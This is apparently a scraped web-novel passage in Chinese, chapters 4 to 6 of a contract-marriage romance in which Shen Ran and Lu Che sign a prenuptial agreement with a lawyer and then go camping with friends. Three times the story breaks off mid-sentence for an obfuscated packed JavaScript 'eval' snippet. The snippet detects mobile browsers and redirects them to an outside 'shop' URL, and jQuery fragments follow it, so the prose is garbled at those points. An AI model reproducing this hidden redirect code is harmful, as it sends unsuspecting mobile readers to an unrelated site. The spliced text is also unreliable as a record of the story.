服务生的眼神在两人之间来回一秒,像完成了一次熟练的剧情配对。 “打扰了。”服务生笑得暧昧,“这是送两位的甜品,祝您二人甜甜蜜蜜。” 沈然:“……” 陆澈抬了下眉:“?” 沈然立刻坐得笔直:“误会。” “嗯嗯,我懂的。”服务生点头点得很熟练,转身走了。 沈然端起水杯喝了一大口,很想用冷水把整个人冻清醒。 她抬眼,不小心对上陆澈的视线。 男人表情一如既往稳,眼底却压着一点若有若无的笑意,像是终于等到她出错。 沈然立刻转开视线:“你朋友那边麻烦解释下。” 陆澈轻声:“他自己会脑补完,不用我解释。” 沈然:“……” 她突然觉得更糟了。 她又想起陆澈反扣手机的动作,心里很快冒出一个荒唐的推断。 他,他不会……… 她把这个推断按下去,理性告诉自己不要自作聪明。但理性在这两天明显不太够用。 陆澈把杯子放下,看着她,语气稳得像在陈述科研项目。 “回到我刚才说的事。如果你依旧有结婚需要,我们可以谈一谈。” 沈然大脑嗡嗡作响。 她迅速把这两天发生的事拉成一条线,形成闭环。 他出现在相亲现场,替她挡人,借她外套,今天又说结婚需求,手机那边还有一个突然闯进来的年轻男人。 而且他一直男人缘不错。 她深吸一口气,决定不去碰性取向这种隐私雷区。 她只需要一个可执行方案。 “继续。”她说。 陆澈点头,语气仍旧懒,但内容很稳。 “公开婚姻,经济独立,互不干扰。条款你擅长,你来写。我负责签。” 他说得像在把麻烦丢给最会处理麻烦的人。 沈然:“好。” 她几乎是条件反射地点头,像接了一份合同。 陆澈看着她,忽然问:“你不害怕?” 沈然反问:“我为什么要害怕?” 他沉默两秒,像是想说什么,又像懒得在这里解释。 “算了。”他轻声道。 沈然不知道这个算了是什么意思。 她只觉得这一刻非常合理,甚至有点小小释然。 安全,干净,界限清晰,不缠人。工作能力学术能力顶尖,外貌也极为出众,站在那儿就够惹眼。 综合起来,像一份高质量样本。 餐桌上的灯光落下来,像薄薄一层暖雾。 沈然放下水杯:“那我们开始谈细则。如果都合适,可以找律师公证。” 陆澈点头:“行。” 他低头的那一瞬间,唇线抿得紧了一点,像把某个不该出现的情绪咽了回去。 沈然没察觉。 她甚至有点满意。八字可能不合,大方向挺合的。 她要找的是契约对象,不是浪漫的心动。 沈然觉得自己挑对人了。 4. 文学城独家 沈然第三天早上九点整,坐在淮海中路一栋玻璃写字楼的十二层。 电梯门一开,就是一家律师事务所配套的咖啡区。落地窗、深色木桌、安静到连咖啡机蒸汽声都很清楚。 她挑了靠窗的一桌。 深灰色西装,白衬衫,头发利落地挽起来,面前摊开一叠A4文件,旁边放着一杯还没动过的美式。 看起来不像来谈婚前协议的,更像来谈收购。 桌上的文件分成三类。 网上找的婚前协议模板打印版。 自己整理的合伙人晋升时间线。 一份写了“沈然&陆澈”四个字的空白笔记。 她盯着那行名字看了几秒,觉得别扭,又在下面加了个括号。 【项目暂定名:婚姻结构测试版】 写完更别扭了。 她把笔记本翻了个面,假装自己没写过。 手机震了一下。 【夏栀:你确定你今天不是去开股东大会?婚前协议也这么认真?】 【沈然:流程要严谨。】 又补了一句。【我不想以后被告。】 对面隔着屏幕沉默了一下,飞快打字。 【你是打算防他,还是防你妈?】 沈然看着那行字。 她其实都在防。 防母亲以“都是为你好”的名义插手她婚姻,防未来任何人捏着“都是女人就该怎样怎样”的话压她。 她打了一行【防世界】又删掉。 最后只发【防大家】 【行吧。那你记得多看几页,别到时候财产全归他。】 【我又没什么钱。】 【你有未来赚钱的能力。】 【你身体本身就是优质资产。】 沈然:“……” 她刚想回一句“谢谢你这么物化我”,电梯叮的一声响。 陆澈从里面出来。 浅色衬衫,深色长裤,西装外套搭在手臂上。头发随意往后梳了下,还带着点刚出门的凌乱感,却一点不邋遢。 他走出来那一下,前台小姐姐的眼神明显亮了一秒,像被灯光自动对焦。 沈然下意识伸手,把桌上那本写着“婚姻结构测试版”的笔记翻了过去,露出看起来更像正常人的一页。 陆澈朝这边走过来。 “早。”他声音不高不低,刚好压住咖啡机的嗡嗡声。 “早。”沈然抬头,目光扫了他一眼。外套没皱,头发有一撮轻微翘起,估计是刚被风吹过。 她想了两秒,从纸巾盒里抽了一张推过去:“你头发有点乱。” 陆澈停了半拍,抬手摸了摸那撮翘起的发尾,慢条斯理压回去。 动作很随意,像在处理一个无关紧要的小bug。 前台小姐姐从旁边路过,眼神瞬间柔成一滩水。 沈然:“……” 陆澈没注意,径直拉开椅子坐下,把文件夹放在桌边:“等多久了?” “十分钟。”沈然说,“你算准的。” “你也算准。”他看了眼桌上A4厚度,“这阵仗,像你来收购我。” “别自恋。”沈然把模板推过去,“模板、注意事项、风险点。按流程走,半天内搞定。” 陆澈“嗯”了一声,像是在给她的效率打分。 他打开文件夹,抽出一份打印好的草案,递过来。 “我昨晚随手写了一版,你先看。” “随手?”沈然接过,低头扫了一眼,字体工整、逻辑清晰、分条列项。 她抬眼看他,像是抓住了机会,怼了句:“你对随手的理解挺严格。” 陆澈靠回椅背,语气懒:“怕你挑刺。” 沈然心里给了他一个“识相”的评价,继续往下看。 【第1条:双方在婚姻期间经济独立,个人婚前及婚后收入归各自所有。】 【第2条:日常生活共同开支按双方收入比例承担,具体比例可每年调整一次。】 【第3条:双方应尊重对方的工作安排,不无理干涉对方职业选择。】 …… 沈然点点头:“条款比我想的详细。” 这算夸奖。 在她心里,一个人能写出这种东西,比会说“你今天真好看”靠谱太多。 陆澈垂眼:“写清楚省事。” 顿了顿又补一句,像随口闲聊:“你脸色比昨天好点。” 沈然:“你是在夸我,还是在做体征记录?” 陆澈看她一眼:“两者不冲突。” 沈然没接话,继续看。 手机亮了一下。 【夏栀:然然,你现在在哪里?】 【沈然:律师楼。】 【夏栀:你可认真要签婚前协议啊,可别一紧张把自己写成附属权益。】 【沈然:不会。】 沈然本来想把手机扣桌上,鬼使神差又打了一行。 【他人挺好的。】 发出去立刻后悔。 像在写产品测评,而且不太符合她的体验。 那边秒回。 【你已经开始夸你老公了???】 【沈哥,你变了,你不爱我了。】 沈然啪一声把手机扣住:“律师马上来了。” 陆澈抬眉:“你朋友?” “监管我的。”沈然说。 “挺专业。”陆澈语气懒,“比律师还敬业。” 沈然看他一眼:“你今天怎么这么多话?” 陆澈答得很坦然:“因为你看起来要把我送上法庭。” 沈然:“……” 咖啡厅入口那边传来高跟鞋敲在地砖上的声音。 一位四十出头的女律师走过来,身材干练,拿着电脑和文件袋,笑容恰到好处。 “沈小姐?陆先生?你好,我是你们预约的曹律师。” 三人寒暄几句,曹律师在对面坐下,打开电脑:“婚前协议大框架我有模板,你们可以看着调整。但在此之前,我需要先了解大致情况。” 她抬眼打量两人。 沈然坐得笔直,表情冷静。 陆澈靠椅背,手搭在桌沿,松松散散,看起来像是来旁听,却又不敷衍。 两人之间隔着一大块桌面,足够摆下两台电脑和一份A3图纸。 曹律师停顿了一下,温柔开口:“那我先问一个基础问题。你们现在恋爱关系中,有遇到什么比较严重的矛盾吗?” 沈然:“……” 陆澈:“……” 沈然皱眉:“我们没恋爱。” 曹律师手上一顿:“啊?” 沈然补充:“严格来讲,我们处于婚前调研阶段。” 曹律师眨了眨眼:“那你们现在的关系是?” 沈然想了想:“合作伙伴。即将上合同的那种。” 陆澈对着曹律师投来的目光点了点头,表示认可。 曹律师的脑子明显花了两秒才跟上。 “也就是说,你们感情稳定?” 沈然自动在“稳定”前加了个前提:“业务上还可以,目前没冲突。” 陆澈点头:“关系不错。” 曹律师:“……” 她的视线在两人之间绕了一圈,最终露出一种心疼又理解的笑:“我这边也有不少类似案子。双方关系不错,但对婚姻缺乏信任感,所以提前用协议保障边界,很正常。” 沈然想解释:“其实不是……” “没关系。”曹律师温柔打断,“不用把自己讲得太冷酷。” 沈然:“……” 她深吸一口气:“我们签婚前协议,是为了更高效进入婚姻状态。” 曹律师:“……” 沈然认真道:“我冲击合伙人,集团那边有家庭稳定性指标。他那边高校也是,结婚对评估有帮助,国家基金申请加分。” 曹律师愣了一秒,理解的角度突然拐了个弯:“所以你们是职业需求型婚姻。” “可以这么理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889018|192149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解。”沈然说,“协商一致,互利共赢。” 陆澈点头,语气像随口一句,但很稳:“堂堂正正。” 曹律师敲了敲键盘:“好,那我们聚焦条款本身。先从财产开始。双方婚前财产是否各自保留?” 沈然:“是。” 陆澈:“是。” “婚后收入是否共同?” “各自。”沈然说,“共同开支可以约定比例五五。” 陆澈慢悠悠补一句:“她不喜欢欠我,我也不想欠她。” 沈然抬眼:“你这是在给律师做情感注释?” 陆澈看她:“我是在避免你被误会很难搞。” 沈然:“我本来就不太好搞。” 陆澈轻声:“我知道。” 曹律师飞快打字,像怕自己笑出来:“好的。那彩礼这块,有没有需要写入的?” 沈然一愣。 脑子里闪过母亲那张带着“都是为你好”的脸。 她把画面按下去,淡淡道:“彩礼我来出。” 曹律师抬眉:“沈小姐的意思是?” “如果我家需要形式,我来出。”沈然说,“我们承担成本,不是买卖。” 陆澈一直没说话,这会儿才抬眼看了她一下,语气很淡:“你倒挺会替所有人解决问题。” 听着像吐槽,又像别的。 曹律师笑了一下:“那挺好,左手倒右手。” 她继续敲字:“接下来,我需要确认一下你们对婚姻中的性|生活安排有没有特别要求。” 沈然握杯子的手微微一紧。 来了。 她敏锐地标出自己的焦虑点,脸上依旧没表情。 曹律师专业地说:“有些客户会约定最低频率,或者约定某些情况下的义务,这样以后双方不会有太多误解。” 沈然:“……” 她脑子里飞快过了一轮。 她不能提性取向。 不能让陆澈觉得被冒犯。 还得显得大度理智。 她用最平静的声音说:“不用写。” 曹律师抬眼:“双方都不用?” “是。”沈然咳了一下,“这部分我们不会有。” 话落下那一秒,空气安静得有点过分。 陆澈的指尖在杯壁上轻轻敲了一下,像是在忍某句话。他抬眼看她,语气懒得要命,偏偏把曹律师的注意力拽走。 “曹律师,这条能不能加一句。” “什么?” “互不强制。”陆澈说,“也互不追责。免得以后有人心血来潮想走流程。” 沈然:“……” 曹律师:“……” 曹律师强行保持专业,敲字敲得更快:“可以。” 陆澈看向沈然,像是随口一问:“你心血来潮过吗?” 沈然面不改色:“没有。” 陆澈点头:“那就好。” 沈然觉得自己太阳穴跳了一下。 她很确定,陆澈是在故意搅局。 而更糟的是,她居然有点被他搅得回不过神。 曹律师继续往下翻:“那关于居住安排,需要写明同居与否吗?” 沈然正要答。 陆澈先开口,语气淡淡:“写同居吧。”他顿了一下。“省得你临时编理由。” 沈然抬眼:“你是不是预设得太快。” 陆澈慢悠悠:“不预设,等你预设完,合伙人都换人了。” 沈然:“……” 曹律师看着两人,手指停在键盘上,终于露出一个极其温柔的笑。 “我明白了。”她说,“你们属于沟通效率型伴侣。” 沈然:“我们不是伴侣。” 陆澈:“现在还不是。” 他顿了顿,看向沈然,眼神很稳,嘴角却轻轻挑了一下。 “但快了。流程不是你最擅长吗。” 沈然:“……” 她低头翻文件,动作比刚才快了一点。 5. 文学城独家 桌子那一端,陆澈的动作明显顿了顿。 他本来是正准备拿水杯的,手指停在杯身上。 曹律师却很快点头,表情瞬间变得“我懂你”的温柔:“明白了,你们是无性婚姻模型。” 沈然:“……” 无、性、婚、姻、模、型??? 这还理论总结了起来了? 她看了一眼陆澈。 男人低垂着眼,表情看上去还是那样平静。 只有耳尖那一点点颜色有点不太对劲,可能是外面天太热。 “那忠诚条款这块呢?”曹律师继续问,“是否写明双方不得与第三人发生亲密行为?” “写上。”沈然几乎是条件反射,“肯定要写。” 曹律师笑:“那写双方都不得?” 沈然张了张嘴。 脑子里的第一反应其实是他不得。 毕竟她没有恋爱对象。 话到嘴边,她硬生生把那个字吞回去,改成最安全的版本:“我们都不得。” 陆澈偏过头,看了她一眼。 那眼神不凶,也不疑惑。像是把她那句“都不得”当成一份很认真、很沉的确认,收下了。 他轻轻“嗯”了一声:“可以。” 曹律师一边打字,一边感叹:“沈小姐看起来很强势,但其实非常在意这段婚姻。” 沈然:“我是在意公平。” 曹律师笑:“那也是在意呀。” 沈然被这句“在意”弄得有点措手不及。 她不太会处理这种情绪话题,索性抬手喝了一口咖啡,把话题往冷一点的地方拉:“下一条。” 曹律师翻页:“家务分工这块,两位有偏好吗?” “继续用我的阿姨吧。”沈然脱口而出,“钱我来支付就行。” 她意识到这样说有些强势,连忙补了一句:“主要是我有固定的,人挺好的。” 陆澈看她一眼:“家务我可以做。” “没关系。”沈然淡淡,“我习惯宋姨了。” “但我不想做一个‘被你服务’的合约方。”他慢慢道,“一半。” “你会做吗?” “会。” “不会。”两人几乎同时,沈然很诚实,“你看起来就不会。” 陆澈:“……” 他沉默了半秒,像是想顶一句,又被她那种笃定堵回去。最后只抬手,把袖口往上推了一点点,露出手腕:“你要不要我现在就证明一下。” 沈然:“不用证明。” 她顿了顿,补得很冷酷,“我只看结果。” 曹律师在旁边默默抬头,看着眼前一个坚持要全部包揽家务的女客户,和一个坚持要分担家务的男客户。 她轻轻叹了一句:“难怪你们要签婚前协议。” 沈然:“?” 曹律师飞快打字:“那就写,双方共同承担家务,具体比例按协商调整。” 她合了一下电脑:“接下来是比较敏感的一部分,关于离婚时的处理。” 沈然:“可以。” 她面对这块内容反而比刚才还冷静。 离婚,从一开始就写在她的人生假设里。 不是因为她不相信任何人,而是她不信赖任何系统,包括婚姻系统本身。 她必须为所有可能准备出口。 曹律师简单讲了一遍离婚后财产、房产、子女(暂时不写)等等框架,确定没有异议后,拿起电脑:“那我先去打印纸质版,你们待会儿看一遍,没问题就签字。” 她起身,走向打印区。 办公室只剩两人对坐。 安静了一会儿。 沈然把笔盖扣上,习惯性低头整理一下桌上的纸,顺手把昨天整理的“婚姻项目风险点”翻出来看了一眼。 余光里,她看到陆澈在看她,目光有些冷淡。 “怎么?”她抬眼。 “你紧张的时候就会整理文件。”他说。 沈然怔了一下。 她下意识想反驳一句“我没有紧张”,但想了想,没说。 她确实紧张。 这一切对她来说很不常规。 从公共场所当着别人面撕开衣服,裙子碎裂,到给人擦腿被人撞见,到现在坐在律师楼里讨论性|行为频率,她这二十多年的人生从没这么离谱过。 陆澈看着她,慢慢开口:“刚才那一条。” “哪一条?” “你说‘不会有’那条。”他语气平静,“你是认真的吗?” 沈然把注意力从纸堆上挪开,努力让自己语气听起来和往常一样,也不带任何偏见的回了句“你也不需要吧。” 陆澈:“谁说的?” 沈然:“……” 沈然忽然说不上话。 她脑子里一半在害怕,他会做出些什么跟刚才撸袖子一样的举动,想证明自己。 另一半,“因为你取向问题”这种东西在神经元里追逐打架,最后被她强行按回意识深处。 她清了清嗓子:“我认为,你对这部分没有刚性需求。” 陆澈看了她几秒。 那一瞬间,他的目光不再像之前那样只是安静地扫过,而是有一点审视、再加一点被误判的不服。 “沈然。”陆澈忽然叫她的名字,眉眼带着些紧绷。 “嗯?” “你到底把我当成什么人?” 沈然张口,脑子里闪过很多词。 “之前的同事”、“可靠合作伙伴”、“安全室友”、“职业联盟队友”…… 最后只出来一个最干巴巴的:“……正常人?” 陆澈:“……” 陆澈失笑,低头摇了摇头。 他没再追问,也没有解释。 只是把那页条款轻轻推近一点,像是在提醒她:这不是一句话就能盖棺定论的东西。 他语气懒,但很稳:“那就别替我做结论。” 沈然一瞬间说不上话。 她讨厌被搅局。 更讨厌的是,她发现自己居然被他说得有点慌,也不太懂他为什么反复纠结这一条,不论是同性还是异性,这一步地迈出都没有那么容易和必要,至少对她来说是的。 她想找点别的话题掩饰:“你科研项目那边不会受影响吗?突然结婚。” “不会。”陆澈顺着她的话说下去,“人才计划需要稳定家庭。我老师比你还急。” “你老师比我还急?”沈然抓住了重点,“他也催你结婚?” “嗯。”陆澈淡淡,“他说三十多还不结婚会被学生笑。” 沈然思考了一下,认真补充:“那你结婚了也会被学生笑。” 陆澈:“……” “他们会说,你老早就‘走入传统家庭陷阱’。”沈然很客观,“不过,对你事业发展确实有利。” 陆澈轻轻看了她一眼:“你对婚姻的定义挺温柔的。” “?”沈然不解,“我刚才那段话哪儿温柔了?” “你至少没说‘婚姻是失败者的避难所’之类的。”他淡声,“我学生有这种观点。” “那是他们没谈过恋爱。”沈然说,“谈过一次,就知道婚姻至少比谈恋爱更有边界感。” 话一出口,她自己愣了一下。 她不太会主动提“谈恋爱”这三个字。 陆澈微不可察地抬了下眉:“你是过来人?” “算吗?”沈然想起那段短命的感情,语气非常公事公办,“可能不太算,总之不太成功,样本数量有限,不具备统计意义。” “怎么不成功?” “他觉得我太理性,怀疑我没有心。”沈然很客观,“最后分手的时候,他说‘你适合跟excel谈恋爱’。” “……”陆澈没忍住笑了一声,清了清嗓子,“那你怎么回的?” “我说他也不差,可以和word在一起。”沈然淡淡,“大家都别浪费时间。” 陆澈沉默了一下,像是被她噎住,又像是被她逗笑。 “还是不喜欢。”沈然给那段短暂的恋爱关系做出了最终评价。 “就这一段吗?就没遇到过喜欢的?” 沈然想了想,点了下头,“有一个,不过没谈。” 她没好意思说是线上认识的。 他抬手捏了捏鼻梁:“那你现在呢?” “现在什么?” “现在准备跟谁在一起?” 沈然刚想说“跟你”,又觉得这话说出来听着有点太像告白。 她改口:“跟婚姻制度。” 陆澈:“……” 打印机那边发出一阵连续的“哔哔”声,曹律师抱着一叠纸回来,打破了两人之间那一点奇怪的安静。 “好了,两位,纸质版,我都打印出来了。”她把协议摆在桌上,“辛苦再看一遍,有修改我们现场调。” 沈然立刻进入阅读模式。 她从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889019|192149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头到尾过了一遍条款,确认财产部分没有“奇怪漏洞”、家务分配写得相对公平、离婚处理方式清晰可控。 她看到那条“双方同意不对彼此提出性行为义务”的时候,视线停了半秒,又迅速滑过去。 她假装没看到。 陆澈扫到那一条,也没说话。 只是指尖在桌底敲了一下,像是把某种情绪压回去。 曹律师笑着翻到签字页:“那就在这里,双方各签一次名字。” 沈然拿起笔。 笔尖落下的时候,她心里有一瞬间的恍惚。 她的人生好像被人轻轻拐了个弯。 不是她没预料到婚姻,只是她没想过,第一次走进婚姻,是以这样一种冷静、理性的形式: 她坐在律师楼里,和一个多年不见、半意外重逢的旧识,签下一份细致清晰到像商业合同的“婚前协议”。 她写完自己的名字,笔一转,递给陆澈。 男人接过笔,在自己的那一栏写上“陆澈”两个字。 字迹漂亮得刚刚好,不张扬,也不拘谨。 “那后面我会再给你们发送一份电子件。”曹律师收好纸,“如果将来有变动,也可以再约时间调整。” 她顿了顿,忽然又补了一句:“不过我还是要多嘴一句。” 两人不约而同看向她。 曹律师收好协议,又补了一句:“你们这种婚姻模式是少数。但我接触的案子里有个规律。” 她笑笑:“愿意把每一条可能性写清楚的人,往往比谁都认真。” 沈然愣了一下。 她下意识想说“我们只是理性”,却发现那句话在喉咙里转了一圈,又悄无声息地散了。 她没开口。 陆澈站起来,跟曹律师道谢,帮她把椅子拉开一点。 出了律师楼,走廊里冷气比外面重。 沈然抱着自己的文件夹,脑子里还停留在刚才那句“无性婚姻模型”。 她莫名其妙有一点想钻地缝的冲动。 两人一起等电梯。 沈然盯着电梯数字往下跳,忍不住说:“刚才那律师误会有点严重。” “嗯。”陆澈淡声,“误会是挺多。” “你别放在心上。”她一本正经,“现代社会对‘非主流婚姻结构’还是有偏见。” 陆澈侧头:“我们什么时候成‘非主流结构’了?” “契约婚姻本身就是少数。”沈然认真分析,“你看周围,同龄人不是不婚,就是恋爱脑,我们这种模型——” 她顿了顿,觉得“模型”这个词好像有点不太合适,“这种形式比较少见。” 电梯“叮”一声,门开了。 里面没人,两人走进去。沈然站在靠后的地方,按了一楼。 电梯门合上,镜面墙里映出两个人的身影,一个抱着文件夹的女强人,一个外套松松搭在手臂上的科研男。 挺配的。 她这么想了一下,又立刻把这个念头赶走。 不行。 她不能对一个她已经“默认gay身份”的人产生“挺配”这种评价。 电梯刚下到十楼,陆澈忽然开口:“沈然。” “嗯?” “你真的觉得,我们以后不会有吗?” 沈然:“……” 她知道他说的是什么,也有点懵。 难不成这是……男女通吃? 她可接受不了。 沈然假装不知道:“嗯?” 陆澈看着她,目光很平静,却让人躲不开:“你心里有答案。” 沈然被他盯了一秒,只好转移话题:“你今天下午有会吗?” 他没顺着她跑,反问:“你现在,是不是把我归类到了一个……安全但无欲的类别里?” “……”这话说得太准了。 沈然一时不知道怎么回应。 最后她只好干巴巴总结:“我把你归类到可靠合约方。” “那就够了?”陆澈问。 “对。”她说,“对我来说足够了。” 电梯到了一楼,“叮”的一声。 门缓缓打开,外面的光一下子涌进来。 陆澈没再说话,先出去一步,替她挡了一下门。 沈然走出电梯的时候,忽然有一点很不理智的预感。 她刚才说的那句“足够了”, 很可能是她这段时间里,最不准确的一次判断。 6. 文学城独家 婚前协议签完的第三天早上,沈然刚把电脑合上,准备去茶水间续一杯咖啡,办公室门就被人推开。 夏栀戴着墨镜,一副要来劫囚的阵势:“走,收拾行李。” 沈然停住:“……?” “周日把排期腾出来。”夏栀把墨镜往头顶一推,露出一双精神得过分的眼,“咱去露营。” “露营?”沈然皱眉,“我后天要领证。你现在安排团建?” “不是团建。”夏栀理直气壮,“是婚前适应性训练。” “……”沈然抬手扶了扶太阳穴,“你确定你不是把我当新员工入职?” “差不多。”夏栀一点也不心虚,“你谈感情跟算积分似的,不把你丢到一个封闭环境里,我真的不放心你结婚。” 沈然淡淡道:“我谈的是婚姻结构,不是感情。” “对,这就是问题所在。”夏栀叹气,“所以——” 她顿了一下,懒洋洋甩出杀手锏:“陆澈会来。” 沈然手里正捏着的发圈“啪”一声断了。 夏栀:“……” 沈然低头看了一眼被拽断的橡皮圈,语气还算镇定:“我下午三点有个会。你要是能帮我开,我现在就去收拾行李。” “行啊。”夏栀毫不犹豫,“PPT发我,我帮你念。反正你开会也就那几句:‘这个逻辑不成立’、‘数据回头重跑’、‘你这个结论从哪儿来的’。” 沈然:“……” 她想反驳一下自己没这么凶,想了想,又觉得好像也差不多,只好把话咽回去:“露营多长时间?” “一晚。”夏栀说,“明天下午回城,后天领证。完美流程。” “……”沈然勉强点头,“地点?” “郊外一个私人营地,朋友开的,很干净。”夏栀眨眨眼,“你放心,是你能接受的那种‘尽量没有不确定变量’的户外。” 沈然:“……” 她忽然有点预感,这次大概率不会像夏栀说得这么“可控”。 —— 露营当天傍晚。 大巴把人放在营地外的小停车场,一下车就是一大片草地,风吹过来,带着一点烤肉混合植物的味道。 沈然拎着行李箱站在车门边,打量了一圈。 营地不大,胜在布置得很用力:灯串从树上一路挂到天幕,白色帐篷排成一列,像谁精心设计过的“都市人假装亲近自然体验区”。 夏栀从她后面跳下来:“怎么样?有没有缓解你对婚姻的不安?” 沈然看了看周围:“缓解了。” “真假的?”夏栀还以为她在讽刺,“这么见效?” “至少说明,”沈然淡淡道,“这次婚姻的外部环境管理者,也就是你目前还算靠谱。” “……”夏栀嘴角抽了一下,“谢谢沈总你对我项目执行力的肯定。” 她正准备再调侃两句,远处停下了一辆车。 那辆深色轿车在灯串边上稳稳一停,车门打开。 陆澈先下来,浅色体恤,深色长裤,外套搭在手臂上,头发像刚被风吹乱,又随手往后理了一把,乱得很规矩。 他身后跟着慕哲远,T恤夹克、牛仔裤,手里拎着个背着就知道很沉的登山包,一副“来出差顺便被人拐出来吃烧烤”的表情。 夏栀小声感叹:“陆教授得有三十多了吧,一直在象牙塔里待着的日就是不一样,精气神都足。俩人看着跟男大似的。” “是。”沈然肯定了这一点,要不然她一开始也不会不假思索地答应结婚的事。 “啧啧,好好把握啊,争取三年抱俩。” 沈然没吭声。 她只是下意识站直了一点,提了提肩带,把行李箱从挡道的位置往旁边挪了半步。 陆澈朝她们走过来,目光先在沈然身上停了一下。 “路上还顺利?”他问。 “挺顺。”沈然点头,“你这边不忙?” “会议提前结束了。”陆澈说,“顺路来。” 顺路。 沈然在心里默默重复了一遍这个词,觉得还算符合他一贯的风格。 所有事情都算过成本,再决定要不要投入时间。 也包括婚姻。 慕哲远把背包放下,朝她笑了一下:“又见面了,陆家嘴电鳗小姐,我是慕哲远。” “……”沈然停了两秒,确认了一下这几个词的排列,怀疑自己出现了听力障碍,“你刚才叫我什么?” “陆家嘴电鳗。”慕哲远一脸诚恳,“你不是老在陆家嘴上班嘛,又带电。” 他想了想,认真补充:“那天在酒店撕裙子撕衬衫那一下,很有冲击力。” 沈然:“……” 她出于礼貌微笑了一下:“谢谢夸奖。” “我不是夸——”慕哲远话说到一半,被陆澈看了一眼。 那眼神不重,像随便一瞥,却成功让他把后半句“那叫社死现场”咽回去了,改口:“……总之,很有记忆点。” —— 营地的管理员领着他们往里走。 “今天人不多,你们这边两顶大帐篷,一个天幕区域。”管理员指了指前面,“帐篷还没搭,等会儿你们自己看着来。” 沈然看了看那两包布料,沉默三秒,问夏栀:“我们要自己搭?” “放心,有劳动力。”夏栀拍拍她肩,十分心安理得,“我们负责在旁边提供精神支持。” 慕哲远:“……” 他说:“你们至少可以负责把零食拆了。” 陆澈已经把帐篷袋子提起来,拆开支架,动作干脆利落,跟当年在实验室搭临时设备区一样。 沈然站在一旁看了两分钟,忽然问:“我需要帮忙吗?我看起来像不适应户外的人吗?” 陆澈抬头看了她一眼。 夕阳从他背后绕过来,让他的眼神看起来比白天柔一点。 “不像。”他说。 这两个字很简单,也很真诚。 夏栀在旁边“啧”了一声:这不就是夸然然漂亮、又有能力、还能适应各种环境的意思吗? 沈然却认真分析了一下,得出一个结论: 他大概是觉得,自己并不属于那种“需要被照顾”的人。 她点点头:“那我就不抢你们活了。” 陆澈:“……” 他刚想说点什么,慕哲远已经把另一包帐篷拎起来:“行行行,你们姑娘就继续交流人生,我们来干体力活。” 两顶帐篷搭起来的过程出奇顺利。 支架“咔哒”一声卡住,外帐一拉,绳子一拽,整个结构就稳稳立在草地上。 沈然看着他们的动作,认真点评:“你们平时合作很多?” “那肯定啊。”慕哲远擦了擦汗说,“他搞脑科学,我搞应用物理,两个实验室隔一条走廊。” 沈然点头:“看得出来。” 陆澈随口问:“看得出来什么?” “你们不用讲太多,就知道对方要干什么。”沈然语气很平,“这种默契挺难得。” 陆澈:“……” 他一时没接话。 不是这话有什么问题,恰恰相反——她说得太准了。 准到,把所有可能的延伸,全都拦在了“只是合作默契”这一层。 他低头继续把固定钉敲紧,动作比刚才慢了一点。 不远处,沈然安静坐在草地边,支着下巴看他们干活。 夕阳落在她侧脸上,把轮廓勾得很柔。 她偶尔笑一下,很轻,不带任何多余的情绪。 跟会议室里的沈然,完全不一样。 陆澈视线在她那儿停了半秒,很快移开。 “稳了。”他忽然说。 慕哲远没听懂:“什么稳了?” “帐篷。”陆澈语气淡,“不会塌。” 沈然却听见了,抬眼看过来,笑了一下。 陆澈的愣了一瞬,手里锤子差点砸慕哲远手上。 他自己都没反应过来发生了什么。 而沈然已经在心里,把这次露营的观察结果记了下来。 两个人的结论,恰好错开。 但此刻,看起来都很满意。 —— “帐篷搭好,问题变成了谁跟谁睡。 夏栀环顾了一圈,跟慕哲远点了点头:“那就我跟慕老师一顶,你跟陆澈一顶?” 沈然:“不用。” 三个人同时看向她。 她并没觉得哪里不对,解释得很自然:“你们男士更熟悉户外环境,住一起更方便互相照应。” “……”短暂的沉默在空气里扩散开来。 陆澈:“我们……照应?” “嗯。”沈然按耐住嗑完cp后的满足感,一本正经,“夜里如果有突发情况,你们沟通成本更低。叫醒彼此会更快一点。” 夏栀:“……” 慕哲远在心里扶额:沈然,你是第一个把“两个男人住一顶帐篷”解释成“应急效率更高”的人。 沈然接着说:“我和夏栀一顶。这样比较……合理。” 她是真的这么想的。 对她来说,这不过是空间分配问题。 谁跟谁住,不代表亲密度,更不代表什么“情感倾向”。当然,她也很贴心地想给两人留一些空间。 陆澈看着她,沉默了两秒,又看了眼帐篷。 随后收回视线。 “随你。”他最后只说了这么一句。 语气不冷不热,听不出情绪。 只有夏栀在旁边,听出了那里面压得很深的一点无奈,悄悄踹了沈然一脚:“你就不怕别人说你不近人情?” 沈然愣了下:“怎么了?我都把‘互相照应’给他们了。” 夏栀:“……” 夏栀忽然有一种强烈的使命感: 这场露营如果不能把沈然的爱情感知系统打开, 她以后可能要对整个女性群体的情感教育失去信心。 —— 天幕下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 